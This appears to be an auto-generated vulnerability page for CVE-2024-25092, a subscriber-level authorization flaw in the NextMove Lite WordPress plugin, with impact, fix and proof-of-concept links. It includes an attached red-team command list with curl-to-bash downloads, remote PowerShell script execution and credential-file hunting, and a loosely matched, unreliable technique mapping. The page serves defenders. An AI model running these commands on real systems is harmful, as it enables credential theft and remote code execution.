CVE-2024-25092
Overview
This vulnerability is an authorization bypass affecting the XLPlugins NextMove Lite WordPress plugin, specifically in versions up to 2.17.0. The root cause is the improper enforcement of authorization checks on certain plugin functions, allowing users with limited privileges to perform actions beyond their intended scope. The flaw resides within the plugin's subscriber management and activation mechanisms, which fail to validate user permissions correctly.
Vulnerability Description
Missing Authorization vulnerability in XLPlugins NextMove Lite.This issue affects NextMove Lite: from n/a through 2.17.0.
Impact
An attacker with a low-privileged subscriber account can escalate privileges by installing and activating arbitrary plugins, potentially leading to full site compromise. This unauthorized capability enables execution of malicious code, data exfiltration, and persistent backdoors within the WordPress environment. The business impact includes loss of data confidentiality, integrity, and availability, as well as reputational damage and potential regulatory consequences due to unauthorized access and control over the website.
Solution
Upgrade XLPlugins NextMove Lite to version 2.18.0 or later, where the authorization checks have been properly implemented to restrict subscriber capabilities. Refer to the advisory published on Patchstack (https://patchstack.com/database/vulnerability/woo-thank-you-page-nextmove-lite/wordpress-nextmove-lite-plugin-2-17-0-subscriber-arbitrary-plugin-installation-activation-vulnerability) for detailed patch instructions. No official workaround is provided; immediate upgrade is recommended to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The missing authorization vulnerability in XLPlugins NextMove Lite presents a significant security concern for users of this WordPress plugin. This issue arises from inadequate checks on user permissions, allowing unauthorized users to perform actions that should be restricted to authenticated and authorized personnel. Specifically, the vulnerability affects versions up to 2.17.0, which means that any installations of NextMove Lite prior to this version are susceptible to exploitation. The lack of proper authorization mechanisms can lead to unauthorized access to sensitive functionalities within the plugin, potentially compromising the integrity of the website and its data.
Attack vectors for this vulnerability are varied and can be exploited through straightforward methods. An attacker could leverage social engineering tactics to gain access to a legitimate user's session or exploit the vulnerability directly by crafting requests that bypass authorization checks. For instance, an attacker could send specially crafted HTTP requests to the plugin's endpoints, manipulating parameters to gain access to restricted features. This could include altering settings, accessing user data, or even executing administrative functions without proper credentials. The simplicity of the exploit makes it particularly dangerous, as it requires minimal technical skill and can be executed remotely.
The real-world impact of this vulnerability is substantial, especially for businesses that rely on WordPress for their online presence. Unauthorized access to administrative functionalities could lead to data breaches, where sensitive customer information is exposed or manipulated. Additionally, attackers could deface websites, inject malicious content, or even use compromised sites for further phishing attacks. The business risks associated with such incidents include reputational damage, loss of customer trust, potential legal ramifications, and financial losses due to remediation efforts and downtime. Organizations that fail to address this vulnerability may find themselves facing significant operational challenges and increased scrutiny from stakeholders.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the NextMove Lite plugin to the latest version is crucial, as updates often include security patches that address known vulnerabilities. Additionally, conducting routine security audits and vulnerability assessments can help identify and remediate weaknesses before they can be exploited. Employing web application firewalls (WAFs) can also provide an additional layer of protection by filtering out malicious requests that attempt to exploit the vulnerability. Furthermore, organizations should enforce strict user access controls and regularly review user permissions to ensure that only authorized personnel have access to sensitive functionalities.
In conclusion, the missing authorization vulnerability in XLPlugins NextMove Lite poses a serious threat to WordPress users, with the potential for significant real-world impact. The ease of exploitation and the potential consequences underscore the importance of proactive security measures. By prioritizing timely updates, conducting thorough security assessments, and implementing robust access controls, organizations can mitigate the risks associated with this vulnerability and protect their digital assets from unauthorized access and exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
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Xlplugins | Nextmove | All |
cpe:2.3:a:xlplugins:nextmove:*:*:*:*:lite:wordpress:*:*
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Disclaimer
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GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
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RandomRobbieBF/CVE-2024-25092
NextMove Lite < 2.18.0 - Subscriber+ Arbitrary Plugin Installation/Activation
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RandomRobbieBF | 1 | 0 | 2024-02-14 | View |
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Nxploited/CVE-2024-25092
WordPress NextMove Lite plugin <= 2.17.0 - Subscriber+ Arbitrary Plugin Installation/Activation vulnerability
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Nxploited | 0 | 1 | 2025-03-13 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
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Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
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CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
42%
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Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (2)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-25092 |
| patchstack.com |
GitHub CVE
vdb-entry
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https://patchstack.com/database/vulnerability/woo-thank-you-page-nextmove-lite/wordpress-nextmove-lite-plugin-2-17-0-subscriber-arbitrary-plugin-installation-activation-vulnerability?_s_id=cve |